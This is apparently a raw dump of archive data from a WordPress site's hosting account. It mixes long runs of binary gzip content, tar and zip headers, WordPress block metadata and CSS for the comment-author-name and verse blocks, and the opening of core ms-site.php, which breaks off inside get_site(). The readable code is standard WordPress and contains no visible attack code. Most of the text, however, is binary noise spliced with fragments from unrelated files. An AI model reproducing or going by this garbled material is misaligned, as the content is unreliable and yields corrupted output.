��<����=3C�*<D�ci�Ǘ��3�IK�ȧ�a�����NX�#�"�ZG�M�0�*��{��������ׇG��'o������8��_�>N/�x�O0����ߛ�[����ɏOڨ��aERsCɅE|v�)7��	w���Fr�X�_cqD� �;M�IAg�Ač|�$'�7��>��U:�J�T6S�3�e�“@v`b�y�w��)���0kIVPǔ�v4t�ŭJg�H*$9\8��|��1Ýd ���(HuG6��D��E��ulwjI��t}˚7���anv��m�3o��~fO�F��^Ӗ(���xK�6�wp����Q�J��Qjr�6��8=v�e�ϓEQz*Q�_�9JO�(}�@鱅�8�"�2r<����������u���J�La��;�����	+��G�L��fF��ݷ��A�E0���Z�P����e����KMW�o	 y��*%z���B�dK�1W$oc���w�ܛ�{�$&�:��5���6(�~���\2x�k+���$�ED	z%�����a76T�Y�sh����>�aK�ݐ���V" ���ȴ��
����2wl��-�oU�N4T��*�֕�6/�H/�֌��T�-�����/�ۤ�-�Q~�/6�r7t�|�j��/��G�,���?:��x��7�ÈǢ�4�s��<��|GY����͞Q��^Ӊ��
��T���B\�EA��Ac��\ɏ�C��l�.6^X�v� �P�G���\'~�9>d
M�r>m٦
յu�ҺQ�4�h"2�Mi'���71|mlj��eS�J�cxh��tя�Iյu�Va����'������,�����öJ3Zq'�D�ī<|����+����pJy�0���zI[�9�Ba+t�g{���O�^�)&t����׍�
��Sc�ì���`l:�h^�u�ʓ���S�!�A�p�;����<�gǻ�����I��ip��A�g��v�j���^�W����@3�@�Cp3�B���`�#�4�7<.��3�'��,;�*��L�*��g���U�Y�z�<U�L�o}`��7*�%�T�z����S�j+1����26��D���Yl���T���<J�	̂�B[bBf�p�8Q)���w�x�8�1b�/. �+T��i�ɤq�Q�f�HsO�6k���i$��h�v��T�G5͕�t܌��h�n=4b2TK��=QVJ��_+:����_B����"Z�qK˲�@�Xv�]3�j�F����Y��t�~�+�Y4�)�;���@�$�Y8�Y8�)F=��GcV�,�,�cW�+�?�����^�(���,���+������r��F��������V|�����0V�C����\Wh����~���D��.`IY�D!����:�J���-�XŠ���/V�l�x�D�LSŘ{ӹH��jo���#��C�/���}L�[�({���㳵_F�����e�h;�?)m�����n�P��yylv_���
r+a.JQ��.?�]Y��s�‰�f>��0�l���]$^�o�ȧ8�
aT�G޶޴���;`�n��˼��k�� .���5�И�4?���Kp��
ˌ�n9w�ܤJ�Рu��4�W�i��ŝ񦒹��c�/<�y���H���Y�b�
���X��e0�ێ6�<'xa%;��aF�x-�x&�x�&Z�%�/�O/�������`�˸_���ƥ�3{VK�5�݃�H}��٫�`X����;�Jg!�SZ�фd��N��6x�}� �ތڏ��n,��DEx-&�)�ogt�:EX4�BW4�/1�C����.	x �٣�x�{a��-�K5�_��,Dbl���)++uޜߎ
+�~[�{S-�r�;������uq�VtZ�diޘ���
���tc���b�$ʶ����⍟S��Z���%u���]�U��k/��o5�%�ps���gR�t/uhކ�%tZ�����U��2^Y��y���5��|Mޒ�dfk�z|M݇������n~k�����n9y̢懸����m�!�k?�py)�$��%F�c���z�u!��ϡs�O��fFN�S�X��ɭ�d�w|�~ɻ�%��d��/��>!��М�ք���N����F/�5���XH-J���~e��r8f�
F⊸��>�Z��5�Ur���,��Nw����W(��O����b�8�F��;��e�(�o�`[s�8��"�^�Fd=�"�r�29�d1'���x۠ܺ��Ӆ��^r�*����(,N�'�d贁Ǧ�D��F������
g�،X��I_��P�I�5|N��/�O��-c��ݒ.v��M�o�:D���/�<Dk��%��>,e�~����9g���r/u�wd��K>���7~?}���|�~�~���#ƽ|�\w7
e19,Q��Nŵ?/:5g�\�a��1���?Ȳ��S\�sY�Z7�
ׂ�q._����@��rs�Zw���sC�g6�5z{��m�V'S��^��lAW��h��r=�9��QT!��XOz�&E-��_�8U���>��6F�(�|3�{��=�"}�x=�j��U��ŧ��G��-�ihDUFD�l��j��ᰜt{)�Z�_P�+'%�O��Z?�\�}�.~j�r�U�X��9Y��,{Sp1{�\H�k��h�$v�oVY[��}ū~����ӪTMX~�$8-�E��.N��%dŵZ�i�-Q�|�kF��.������w��r����|���A�5�a��P7�cUYE���������թq{�z��Mw��q]LWN,��/K9+:��=��i"��y��'��,���ӱ�-�3�S�u�G�N9��J��0���e�L��E6�!�t�!HG����3l��;r���QeYV���%c��/P�����r)�\��/����h��ri��*�H�֠�yyN���$�F%�i!��ǟk�f���%����j�����I��]�&I\�ՓU���)U�Fv�മ^��w�p�8�Ι碂r���7�a5�.�C�;QO�G�ag�@u�%g9v�w��.�~z���\Y��}j���jT��_H�<��k��,	�r<KHe�U?�b���^m\�m�ݖrS�W/�cbk��5�}��p3\�fEP�0����~R������vb�ܥ*�l�$S�6��`��:tp��5�"��y�ڜs��a�n]�8=�������|Պ'Ւ���Y�w2��H@D��^��~��P/�}�:���z���^R��b�������C���X�!�c4iϣ8��(�MWE��XY�ƿ�D��0-(S�{��i��"����|w��{<<z�GaqϭM~TQ�u�0JnF@��U��5	��a%�����/��W�a��H�t�\���?%z9/z:P�gY'��W�u]��F����V�E�&T�6��Er@�4�3r��)�y�0�z��<Rw�9�@?'�fS�I+�	�|zlYɟ�J�n�ϕ��G��50X�-���}k�":������p�BS؊1މ-�W�*\���޷�����
%Oݯ�����KA�d������z@3��2�L���S��I�n�����20W"}��|�[-e�]��p�O�?��o�������??�~�n.EIz14338/comment-author-name.zip000064400000004517151024420100011626 0ustar00PK[d[���44style-rtl.min.cssnu�[���.wp-block-comment-author-name{box-sizing:border-box}PK[d[���44
style.min.cssnu�[���.wp-block-comment-author-name{box-sizing:border-box}PK[d[ǎ汳�
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-author-name",
	"title": "Comment Author Name",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays the name of the author of the comment.",
	"textdomain": "default",
	"attributes": {
		"isLink": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"usesContext": [ "commentId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"style": "wp-block-comment-author-name"
}
PK[d[m�k99
style-rtl.cssnu�[���.wp-block-comment-author-name{
  box-sizing:border-box;
}PK[d[m�k99	style.cssnu�[���.wp-block-comment-author-name{
  box-sizing:border-box;
}PK[d[���44style-rtl.min.cssnu�[���PK[d[���44
ustyle.min.cssnu�[���PK[d[ǎ汳�
�block.jsonnu�[���PK[d[m�k99
�style-rtl.cssnu�[���PK[d[m�k99	Istyle.cssnu�[���PK~�14338/Net.tar.gz000064400000005421151024420100007072 0ustar00��Zms�H���_ѷ�ZC�y3������+�$�M%9�,
F�8I��^�����ػ���Ue\)�Q�<����#E�U�ş��c�Z��z�Qo5��xڨ7[����S�?�R�k�J�2M*�����OX������{�tg����#p���N�@ؤ�:��M�ЛSO`��sq��Lk�D@�T���m�y�!y���y��d�屆P���x�e�xn5��}�zR�*S�^o4��f����K#Ӈ�
��tWض��O.��RT$D�sC߹Z��H3f3�"�E �a'�4a;AD�{r\�Z���3W�k�i��B�N8%ϗ�l�ܳ��c�,�}v-�?w�^Z�ލc�"�����ěͼ[�����Gs�c\�Cؑ1&˳A�ȅ9�	�,ռ�n�Q�=�	�N@3H�)�2j];�	J���̅_ݎ:SNI��T{	|�c�U�C���g-��
�d�jXO|Z(|ǜ����I�)�‘��ET3,�^m2"��$rA�T:ڀ�#]	�!;�z$\�
�=��*p��x�	D�	�Ix��X�G�Ϗ��^nhA�2�8Wu҇=�uGS�#m�J=UN��
*���h�ٹA�������bv`h���b⻎�����
)?�4E�Y�P#�b�W!
��P�B������
A
�����1�H��l4�х�u�q�9Q���F�Wh���}HC�P��~G��X
u�ظSU�;�rZ(%�20H?��Ŷ&�3�(�9�+�:|�jJ�`��W]88��>#�����:ڛ
�"��p�+���s�9���{���5傱�%��D7Tcl(t6��l]�^�]EF��.}7֕
�V�R�5<��XW��ԁ�h�xd��ANx
i��T:b8`���Q����ΐ�Q���
�5v�tY�}��u]#M�𤑲��Y_=S]%�?dA�U])c�T�iT��ci;/�E��@�ȥ%�G��W*���Y0�AW#$�����=�raZ�k��p�r���:�8zP������Oӧ�S��k3�@�0\�k�@B[8��׵��������V�fdA�1EP�
��;;:�O��CTmoOf/8$�w>[�ݙ��n̙c#�Fyً��̥*�F2m�:�qs��J��h��p}�)H�h8����/4{ýa���ꊰé��K6%�D�����������}E�ח��j��4��M|ք��x A�B͛����S	�=�e�`�_0��	&�1�[��_o2~��zn:�*��c���\)i���C� ��4v�ي�Y��&!�z]j5l��e7��ޒ�;��g	E%�W�{�(��l 8�	�D�~��_�r�����z6�;�rgF1�#���HfOI�)_�s���r~��A�M���Q�L��6Q�Wo�ۍz���}=��G	�z�cu�\�,KN�o
�,׮��R>(�b�l���K�X,ba�$@�X�a{�,�Sm����wJƳ\�]�S�����=�E0��o�\�ֲ$���GV�^�A�Yj���q&TBv�K�[�!˩�+Ӌ/�QN	���
�|Y����s���9�g)l?/�&�ψ,�6�<����)�\��J�?�@i@i>
x^�0T��/�5A�.�@{�d��Z
�v�`+r�A���>,�
U p��^��߫���.3����.�6qp*}�{�''a�%�F��h΁k�1��;	;U}`5�5؝�)�$`_l�swD�QuӧG�O��U��@�~��W��Q=N�����i�&����K�r\\�s57�f��f	D��������iW]Bh�f|���F�����+�K��v��=K]B3!
3'��9��iŴi�Z�[4����z��ֹ�A�zc�J���.ן���~|_�a��k�kF�oŗS�s�=l�F/N�
9I-s3���@�z~j�&����Q����ӂ;�">D+g��^OW��ngd�@]�'3P��zv7?B%¬��Ͳ&�/Lk��ka��A��(Sƥm&ܘ�]A�Rq}
��f�J����7�����^������;Yݬo�$��Ȁ���Ը����e!�l0��ècJ/e��uF]�ږZu������2�u�Nn�W�"X�C����W�R*N_���"	��y���2fA�pm~A^dk�d��j�z�C�pW��a����V���Y=�!�0k^4}�H4���t�`�ו������s(�$�
�l��~ːϢ�<�K��6�.2�7`Hql4���>F��i=��"r��	囍ؙo�j*)�w킷�[�;�I��"&r����(�LNNq'�As�y3
��`�L�[����/�o����T������(��h��us�#j���1Q+Eı�:"�]6�?�d=ۊϜ��m�Ҷ�Q��X:תU���fnu��EN6���1_��[z�l=I��VnƢ"U�e��	»>,Zbn�ȳB����ҙ2�x�7_Ls���门$���'s"�2��a��H~+5�	f��4/���~=������v��25H�ؠ�e�h�n�=ASqg+�b� i)�R4V,�PX��Y5D~,�9�Sw�T��{�t�]vcn�V<2[��l��֭�qU	�H9�P��1�R�^�	/{+Ufv{h��}��<���n��m�Y���w�.'	�Z�׮�Χ/m�7,�ۍ1�1�D��n�
I�3:� Ħ�$����LE�/9��J������w��+�J���>�X2�V���WNE���m|�Ʒ�m|��o��J�*14338/media-utils.min.js.min.js.tar.gz000064400000007356151024420100013164 0ustar00��Zas�8���+h֬��bh'3�ڢ���f�-o�cW��Ԟ˥�E�„"8hEK��k�HIv2{w{{U�	�@�u��nPs��wWw��J,����r�
Q�ץ���d�q&�B��\,����u���� J,x&؋Z�\�Q�?����!>������ϡ����ׇ_���������5���ׯ�í'�>�Ҭ’����?���Byw"�~Y��{X@�4ϼ?�.��Ư����L��Vy<m�D��nD���u<�ru&�:�G�3~��\'�nRq]W���,Q�ц�h�,	t$h�;Y4��Dቐ�e���G��\���gffQ�J���+�^��}��d�0��:��
�H&�4�pO���R�Jϙ:_�<��U	7�.�J�����λ\-ne��oc-/Kq��G�c#��<�-`>�x�a���=�w�}��N�v��*�Ą���3r�e.Yfp_De%���R(�r�
h/��f���VG˨6�9L�4�z"��oa!����4_��g��+c�﷚�����m��LJ�^����2^�1�9��A�x��"b�MT���cͲLx놭��pO� �26r��؂Ǘ�`�O�Y��q��<;]�{~%e~��F��Y�^n��F��d4���o��E��3�,����i"�ó��n��n�өiF~'�AS�a�
|eD�L><$-�r��Lj����x��X��r,a]�<�N��UN�^��i���1�&��A^	����0R'\���؁Ɇ���l�F�<N��J�N�9z��T̲,����t<V���*�w�mx'*��
��n�[}�mG���Kw�N�V�ZMn/z��hֱk�xY��Jw���4�_�
Y	�J^F�Q�o)��b|w�Z���^H���ъ��mwz��*n�;Op�l<a�ź��
����4���QzE��`��g�m֨K��?[iw��������aT�_j�-�
�f��}���޹�����=�,������=�Ab���)�KZ|l��I0*����~��1ۂ��E'���������i�%�Z ��vd�wvt5v�o�n��x{;�{�>��mv�2��/
�H��v����3�_AO�S���<kSjg����5�!'�p��)s���zAУC��g�9�2�zy����WȤ���I�!���[w%��_W9�Y���#~f������zƃ�%�?�Hf�����7)���@ԌDX���]=֩�Ȝ���7~d�oW <p�t*
?�n.��OK()y�22SP6>4�0��L)��,�+O�o䢔�JV�3㸍�1a[b�}M�b�s%/��<�Ʒ�M0r�s��Cl�NGw;�}0����v{C|�o�ZQ�Ɛ(���C�LŖ���D8�k��X>��zT��C��F6���&@�#���yv\d�zg�&wL߀�d�R���g���D�]DP��\d�Z���RM�] �Զ�(���J�Ck���V��Vs�=�,m>���P��wZ�|�X�R~�9��.�%r_�9/�|�K�����s�}�5�Z�&�����)"NW�i�0*M����si#ŧܶ��1h%�E
��_.�y���z�f�gE�v��v%���<��=S���#x���.�^�B��ȇ&�2uC�c�&�]�;4���ɡ9�j��~3*��Q�����Vm`�
(�&h�%�nѦ�,�	�F�\�`��
(���hTs�f�~||��}i���Y�YK��H��i�NOV�=s����ڪ�r��q3�v���.=HmA0}Ƌ{?�a�����;<��rC��g5���d�j���h��u��G���������S�qx�;�tܿ���r�^���@Hr+�}��r�|q�7.XHr6�$y�
�>�����|Pin
-v�%m�̄�H$Kӂƞg�Q�1�6Z���̥��z����к��:���!��ส�*��r���tG��K�\�扁H]9�Sw��K���ɵ����G؜�N�l�l��4�Dg��?��30��o*x'`qYъL4���߯����zC��W���k]�0P��'�4ly0J<2N���2�k�� h�4#Z����u��WZ��5L0n���3��S"�s3*Ⅸ*I��9��I)�uH�m�k�[�fA5Z�P�E�����J�A~#���͓iW�ٽM�Y�נ?��,FE�v�χ�g�(o4�vUxӕkw]
���,�_[u-�2�
osy�
�o����{��-�y8�ջ�{�@
,��^ދS�y����_�v?�N�y`����	�c��滂��ˆ}-#v�9�(�e%�2C �O_7�������O��½)2���[V�t��#�J��l�=-i�]�r_�Ss���#�jƧ(��P]Ԧܕn�#0dGtl�=��1q@�=l�[�J�%��}�`~iLD�����M�G��/ny���(����]"b�ǿA�!��O>>�ՠ~S���nT��&�B�RTQj:���;c5�E�]y���o�ޣ��N��Bz�QH�^�M�R��]i�T�k}ܛ�Bda��MF���5ļ:�ތ����EJ��{�ՏB�c#?�q�����=�y%�e+��vzv2��������凋��W'�=2&!S%,I߅�:=��J�KY!����h%z�WH�PuYʊ��y�c�Ҙ�Z��%F�­E��x�R�
` ٜ�3� �k���y�$`���g��:2���xD���@$ڃ����cĆ���b��*k
XD��V���ݻ�O���=?�py�Wa����*n�u����g��64�<֗��p𿧇�d?9������黓/�s�/J��%a���h���/O��dz���Lߝ��^����pz=�ނ}�z�D�z Z���3PM���klT2���Ƴ�{�R�5�)
oT��O����tV�,)�2�5���[,"%�1Q����,�s@C��6_�P�ȣ̻3���"_yȿ,63_�����>k+�肾�{�ݸP9��O CA��MV�A-�/���k"��:�f��#����€��5�R!:�؞o�")%��>z�Cd(g�Us�P�!\S��r#:J՚�4�b??�c�gƠp�՜2�/�;6bh(����s�~��Jӎ���S�b�aLR�ʔ-��S���8��x�C�a�跲Z��Md�}R12MgЏ�.2T��ٌ3F>i|
1hT��54�3��J�7X�� �������+��#�ӭ0��l�tb��\f�q~	�vF.(��D�������6K�p̴�yP���f!�q��+�фO�8�I~cc��_%]��5�OR�q+o9''�d��O�^��{�a�,�s���N��[Ss����	��In�F}겛04�Ǭ-<�W�����Ar;�sF��r�19A�`.�Z:g9��2b�J��ԧŕ��
��SE�+{���GD�S��>r���{n
��\�!�H���#(k��%��y}�}y�ȼL�JzK���-|��h�	CQ@���(������Kܕt7�k���?��WQ����&��8�׵+i�pg�l���N���72��΁�؁�ρ�S���a�v�|`r����۲�n+��b_T�����M�ں�� ��6c.�]��g��)^�FF^�c�%���@�A�Mk�z|l���| �Ku���v�}~�������/��wL.14338/verse.zip000064400000005442151024420100007070 0ustar00PKv[d[�p7eestyle-rtl.min.cssnu�[���pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}PKv[d[�p7ee
style.min.cssnu�[���pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}PKv[d[�n�
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/verse",
	"title": "Verse",
	"category": "text",
	"description": "Insert poetry. Use special spacing formats. Or quote song lyrics.",
	"keywords": [ "poetry", "poem" ],
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "pre",
			"__unstablePreserveWhiteSpace": true,
			"role": "content"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"dimensions": {
			"minHeight": true,
			"__experimentalDefaultControls": {
				"minHeight": false
			}
		},
		"typography": {
			"fontSize": true,
			"__experimentalFontFamily": true,
			"lineHeight": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"width": true,
			"color": true,
			"style": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-verse",
	"editorStyle": "wp-block-verse-editor"
}
PKv[d[}�]�tt
style-rtl.cssnu�[���pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}PKv[d[}�]�tt	style.cssnu�[���pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}PKv[d[�p7eestyle-rtl.min.cssnu�[���PKv[d[�p7ee
�style.min.cssnu�[���PKv[d[�n�
Hblock.jsonnu�[���PKv[d[}�]�tt
0style-rtl.cssnu�[���PKv[d[}�]�tt	�style.cssnu�[���PK~�	14338/text.svg.svg.tar.gz000064400000000473151024420100010726 0ustar00��=o�0��S,w���i2t�Ь�l�6����R?�.I;�H�����d���de+��|t,o��].�̜̍vU�t}Y��!�{�¼�ll�r��c�fnV:c^�|�
��+�$B��o�����C$����Z� ����Zly�^��-����q]J���-c�8�c�m�"��%�.�J��P����Oi"(���SJ���()�1)�ڼ@w�&�)=l0��C
�G���A%�{G�}21���|���dч��*�x����@bPx�(�m��z0g��*7�14338/comments-pagination-previous.tar.gz000064400000001032151024420100014164 0ustar00��TMk�@��Bzq,;��VbB��C)a$��W�ev�D-�;.u�K��nzz3��hP�M��w�8y1��跼`8�NO����lt6>��<?�����,�P:���b����N��%K�!��ٺY5���پ�,b*�Uoo%�IX��)y��) G�%1�Qb�v�2U�����)]]ϊu-�h��U�:��kM�����X,5��p_�
�o^��KHYn\�s嬆��,xt��o] �hU���E������Pjn�3��KF'od��PC��}����ٜȊ,n��l|e��]�·nX�C�|�&F����ܵY\i�!�N$,���<��\��ц��2�T���W�%MΧE���-��~@ϛ��6�h@d1$��LY�m?Oo|�z�l��D�����Z�����q|�*[��o�R*/!W�zF��o:]s���Y�
A���gts�+���	?"3ҵ���a�]����M+9(���Z�nى���U��^{��M��?Gq�+��A-
14338/ms-site.php.tar000064400000124000151024420100010067 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/ms-site.php000064400000120550151024206010023440 0ustar00<?php
/**
 * Site API
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 5.1.0
 */

/**
 * Inserts a new site into the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $data {
 *     Data for the new site that should be inserted.
 *
 *     @type string $domain       Site domain. Default empty string.
 *     @type string $path         Site path. Default '/'.
 *     @type int    $network_id   The site's network ID. Default is the current network ID.
 *     @type string $registered   When the site was registered, in SQL datetime format. Default is
 *                                the current time.
 *     @type string $last_updated When the site was last updated, in SQL datetime format. Default is
 *                                the value of $registered.
 *     @type int    $public       Whether the site is public. Default 1.
 *     @type int    $archived     Whether the site is archived. Default 0.
 *     @type int    $mature       Whether the site is mature. Default 0.
 *     @type int    $spam         Whether the site is spam. Default 0.
 *     @type int    $deleted      Whether the site is deleted. Default 0.
 *     @type int    $lang_id      The site's language ID. Currently unused. Default 0.
 *     @type int    $user_id      User ID for the site administrator. Passed to the
 *                                `wp_initialize_site` hook.
 *     @type string $title        Site title. Default is 'Site %d' where %d is the site ID. Passed
 *                                to the `wp_initialize_site` hook.
 *     @type array  $options      Custom option $key => $value pairs to use. Default empty array. Passed
 *                                to the `wp_initialize_site` hook.
 *     @type array  $meta         Custom site metadata $key => $value pairs to use. Default empty array.
 *                                Passed to the `wp_initialize_site` hook.
 * }
 * @return int|WP_Error The new site's ID on success, or error object on failure.
 */
function wp_insert_site( array $data ) {
	global $wpdb;

	$now = current_time( 'mysql', true );

	$defaults = array(
		'domain'       => '',
		'path'         => '/',
		'network_id'   => get_current_network_id(),
		'registered'   => $now,
		'last_updated' => $now,
		'public'       => 1,
		'archived'     => 0,
		'mature'       => 0,
		'spam'         => 0,
		'deleted'      => 0,
		'lang_id'      => 0,
	);

	$prepared_data = wp_prepare_site_data( $data, $defaults );
	if ( is_wp_error( $prepared_data ) ) {
		return $prepared_data;
	}

	if ( false === $wpdb->insert( $wpdb->blogs, $prepared_data ) ) {
		return new WP_Error( 'db_insert_error', __( 'Could not insert site into the database.' ), $wpdb->last_error );
	}

	$site_id = (int) $wpdb->insert_id;

	clean_blog_cache( $site_id );

	$new_site = get_site( $site_id );

	if ( ! $new_site ) {
		return new WP_Error( 'get_site_error', __( 'Could not retrieve site data.' ) );
	}

	/**
	 * Fires once a site has been inserted into the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 */
	do_action( 'wp_insert_site', $new_site );

	// Extract the passed arguments that may be relevant for site initialization.
	$args = array_diff_key( $data, $defaults );
	if ( isset( $args['site_id'] ) ) {
		unset( $args['site_id'] );
	}

	/**
	 * Fires when a site's initialization routine should be executed.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 * @param array   $args     Arguments for the initialization.
	 */
	do_action( 'wp_initialize_site', $new_site, $args );

	// Only compute extra hook parameters if the deprecated hook is actually in use.
	if ( has_action( 'wpmu_new_blog' ) ) {
		$user_id = ! empty( $args['user_id'] ) ? $args['user_id'] : 0;
		$meta    = ! empty( $args['options'] ) ? $args['options'] : array();

		// WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0.
		if ( ! array_key_exists( 'WPLANG', $meta ) ) {
			$meta['WPLANG'] = get_network_option( $new_site->network_id, 'WPLANG' );
		}

		/*
		 * Rebuild the data expected by the `wpmu_new_blog` hook prior to 5.1.0 using allowed keys.
		 * The `$allowed_data_fields` matches the one used in `wpmu_create_blog()`.
		 */
		$allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
		$meta                = array_merge( array_intersect_key( $data, array_flip( $allowed_data_fields ) ), $meta );

		/**
		 * Fires immediately after a new site is created.
		 *
		 * @since MU (3.0.0)
		 * @deprecated 5.1.0 Use {@see 'wp_initialize_site'} instead.
		 *
		 * @param int    $site_id    Site ID.
		 * @param int    $user_id    User ID.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param int    $network_id Network ID. Only relevant on multi-network installations.
		 * @param array  $meta       Meta data. Used to set initial site options.
		 */
		do_action_deprecated(
			'wpmu_new_blog',
			array( $new_site->id, $user_id, $new_site->domain, $new_site->path, $new_site->network_id, $meta ),
			'5.1.0',
			'wp_initialize_site'
		);
	}

	return (int) $new_site->id;
}

/**
 * Updates a site in the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $site_id ID of the site that should be updated.
 * @param array $data    Site data to update. See {@see wp_insert_site()} for the list of supported keys.
 * @return int|WP_Error The updated site's ID on success, or error object on failure.
 */
function wp_update_site( $site_id, array $data ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$old_site = get_site( $site_id );
	if ( ! $old_site ) {
		return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
	}

	$defaults                 = $old_site->to_array();
	$defaults['network_id']   = (int) $defaults['site_id'];
	$defaults['last_updated'] = current_time( 'mysql', true );
	unset( $defaults['blog_id'], $defaults['site_id'] );

	$data = wp_prepare_site_data( $data, $defaults, $old_site );
	if ( is_wp_error( $data ) ) {
		return $data;
	}

	if ( false === $wpdb->update( $wpdb->blogs, $data, array( 'blog_id' => $old_site->id ) ) ) {
		return new WP_Error( 'db_update_error', __( 'Could not update site in the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $old_site );

	$new_site = get_site( $old_site->id );

	/**
	 * Fires once a site has been updated in the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 * @param WP_Site $old_site Old site object.
	 */
	do_action( 'wp_update_site', $new_site, $old_site );

	return (int) $new_site->id;
}

/**
 * Deletes a site from the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $site_id ID of the site that should be deleted.
 * @return WP_Site|WP_Error The deleted site object on success, or error object on failure.
 */
function wp_delete_site( $site_id ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$old_site = get_site( $site_id );
	if ( ! $old_site ) {
		return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
	}

	$errors = new WP_Error();

	/**
	 * Fires before a site should be deleted from the database.
	 *
	 * Plugins should amend the `$errors` object via its `WP_Error::add()` method. If any errors
	 * are present, the site will not be deleted.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Error $errors   Error object to add validation errors to.
	 * @param WP_Site  $old_site The site object to be deleted.
	 */
	do_action( 'wp_validate_site_deletion', $errors, $old_site );

	if ( ! empty( $errors->errors ) ) {
		return $errors;
	}

	/**
	 * Fires before a site is deleted.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 5.1.0
	 *
	 * @param int  $site_id The site ID.
	 * @param bool $drop    True if site's table should be dropped. Default false.
	 */
	do_action_deprecated( 'delete_blog', array( $old_site->id, true ), '5.1.0' );

	/**
	 * Fires when a site's uninitialization routine should be executed.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $old_site Deleted site object.
	 */
	do_action( 'wp_uninitialize_site', $old_site );

	if ( is_site_meta_supported() ) {
		$blog_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->blogmeta WHERE blog_id = %d ", $old_site->id ) );
		foreach ( $blog_meta_ids as $mid ) {
			delete_metadata_by_mid( 'blog', $mid );
		}
	}

	if ( false === $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $old_site->id ) ) ) {
		return new WP_Error( 'db_delete_error', __( 'Could not delete site from the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $old_site );

	/**
	 * Fires once a site has been deleted from the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $old_site Deleted site object.
	 */
	do_action( 'wp_delete_site', $old_site );

	/**
	 * Fires after the site is deleted from the network.
	 *
	 * @since 4.8.0
	 * @deprecated 5.1.0
	 *
	 * @param int  $site_id The site ID.
	 * @param bool $drop    True if site's tables should be dropped. Default false.
	 */
	do_action_deprecated( 'deleted_blog', array( $old_site->id, true ), '5.1.0' );

	return $old_site;
}

/**
 * Retrieves site data given a site ID or site object.
 *
 * Site data will be cached and returned after being passed through a filter.
 * If the provided site is empty, the current site global will be used.
 *
 * @since 4.6.0
 *
 * @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site.
 * @return WP_Site|null The site object or null if not found.
 */
function get_site( $site = null ) {
	if ( empty( $site ) ) {
		$site = get_current_blog_id();
	}

	if ( $site instanceof WP_Site ) {
		$_site = $site;
	} elseif ( is_object( $site ) ) {
		$_site = new WP_Site( $site );
	} else {
		$_site = WP_Site::get_instance( $site );
	}

	if ( ! $_site ) {
		return null;
	}

	/**
	 * Fires after a site is retrieved.
	 *
	 * @since 4.6.0
	 *
	 * @param WP_Site $_site Site data.
	 */
